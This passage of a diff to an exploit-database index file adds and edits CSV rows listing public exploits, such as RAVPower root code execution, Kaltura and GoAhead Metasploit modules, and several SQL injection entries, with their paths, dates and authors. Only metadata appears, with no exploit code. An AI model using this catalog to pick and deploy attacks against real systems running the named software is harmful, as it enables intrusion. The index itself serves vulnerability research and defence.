CAM 01 - Multiple Vulnerabilities",2018-01-17,"Raffaele Sabato",remote,hardware, +43871,exploits/hardware/remote/43871.py,"RAVPower 2.000.056 - Root Remote Code Execution",2018-01-24,"Daniele Linguaglossa & Stefano Farletti",remote,hardware, +43876,exploits/php/remote/43876.rb,"Kaltura - Remote PHP Code Execution over Cookie (Metasploit)",2018-01-24,Metasploit,remote,php, +43877,exploits/multiple/remote/43877.rb,"GoAhead Web Server - 'LD_PRELOAD' Arbitrary Module Load (Metasploit)",2018-01-24,Metasploit,remote,multiple, 40561,exploits/multiple/remote/40561.rb,"Ruby on Rails - Dynamic Render File Upload / Remote Code Execution (Metasploit)",2016-10-17,Metasploit,remote,multiple, 40589,exploits/hardware/remote/40589.html,"MiCasaVerde VeraLite - Remote Code Execution",2016-10-20,"Jacob Baines",remote,hardware, 40609,exploits/linux/remote/40609.rb,"Hak5 WiFi Pineapple 2.4 - Preconfiguration Command Injection (Metasploit)",2016-10-20,Metasploit,remote,linux,1471 @@ -31900,7 +31906,7 @@ id,file,description,date,author,type,platform,port 31164,exploits/php/webapps/31164.txt,"Prince Clan Chess Club 0.8 com_pcchess Component - 'user_id' SQL Injection",2008-02-12,S@BUN,webapps,php, 31258,exploits/ios/webapps/31258.txt,"SimplyShare 1.4 iOS - Multiple Vulnerabilities",2014-01-29,Vulnerability-Lab,webapps,ios, 31335,exploits/php/webapps/31335.txt,"MG2 - 'list' Cross-Site Scripting",2008-03-04,"Jose Carlos Norte",webapps,php, -40357,exploits/hardware/webapps/40357.py,"Vodafone Mobile Wifi - Reset Admin Password",2016-09-09,"Daniele Linguaglossa",webapps,hardware,80 +40357,exploits/hardware/webapps/40357.py,"Vodafone Mobile Wifi - Reset Admin Password",2016-09-09,"Daniele Linguaglossa & Stefano Farletti",webapps,hardware,80 31700,exploits/php/webapps/31700.txt,"e107 CMS 0.7 - Multiple Cross-Site Scripting Vulnerabilities",2008-04-24,ZoRLu,webapps,php, 31701,exploits/php/webapps/31701.txt,"Digital Hive 2.0 - 'base.php' Cross-Site Scripting",2008-04-24,ZoRLu,webapps,php, 31173,exploits/php/webapps/31173.txt,"pChart 2.1.3 - Multiple Vulnerabilities",2014-01-24,"Balazs Makany",webapps,php,80 @@ -34101,7 +34107,7 @@ id,file,description,date,author,type,platform,port 34849,exploits/php/webapps/34849.txt,"AdvertisementManager 3.1 - 'req' Local/Remote File Inclusion",2010-01-19,indoushka,webapps,php, 34850,exploits/php/webapps/34850.txt,"eXV2 CMS - Multiple Cross-Site Scripting Vulnerabilities",2010-10-15,LiquidWorm,webapps,php, 34851,exploits/php/webapps/34851.txt,"Bacula-Web 5.2.10 - 'joblogs.php?jobid' SQL Injection",2014-10-02,wishnusakti,webapps,php,80 -34852,exploits/windows/webapps/34852.txt,"Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution",2014-10-02,"Daniele Linguaglossa",webapps,windows,80 +34852,exploits/windows/webapps/34852.txt,"Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution",2014-10-02,"Daniele Linguaglossa & Stefano Farletti",webapps,windows,80 34854,exploits/php/webapps/34854.txt,"WordPress Plugin All In One WP Security & Firewall 3.8.3 - Persistent Cross-Site Scripting",2014-10-02,Vulnerability-Lab,webapps,php,80 34858,exploits/php/webapps/34858.txt,"RBS Change Complet Open Source 3.6.8 - Cross-Site Request Forgery",2014-10-02,"Krusty Hack",webapps,php,80 34861,exploits/php/webapps/34861.txt,"PHPCompta/NOALYSS 6.7.1 5638 - Remote Command Execution",2014-10-02,Portcullis,webapps,php,80 @@ -37260,6 +37266,8 @@ id,file,description,date,author,type,platform,port 43867,exploits/php/webapps/43867.html,"Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin)",2018-01-23,"Ihsan Sencan",webapps,php, 43868,exploits/php/webapps/43868.txt,"Quickad 4.0 - SQL Injection",2018-01-23,"Ihsan Sencan",webapps,php, 43869,exploits/php/webapps/43869.txt,"Flexible Poll 1.2 - SQL Injection",2018-01-23,"Ihsan Sencan",webapps,php, +43870,exploits/php/webapps/43870.txt,"Professional Local Directory Script 1.0 - SQL Injection",2018-01-24,"Ihsan Sencan",webapps,php, +43872,exploits/php/webapps/43872.html,"WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure",2018-01-24,"ThreatPress Security",webapps,php, 40542,exploits/php/webapps/40542.txt,"Student Information System (SIS) 0.1 - Authentication Bypass",2016-10-14,lahilote,webapps,php, 40543,exploits/php/webapps/40543.txt,"Web Based Alumni Tracking System 0.1 - SQL Injection",2016-10-14,lahilote,webapps,php, 40544,exploits/php/webapps/40544.txt,"Simple Dynamic Web 0.1 - SQL Injection",2016-10-14,lahilote,webapps,php,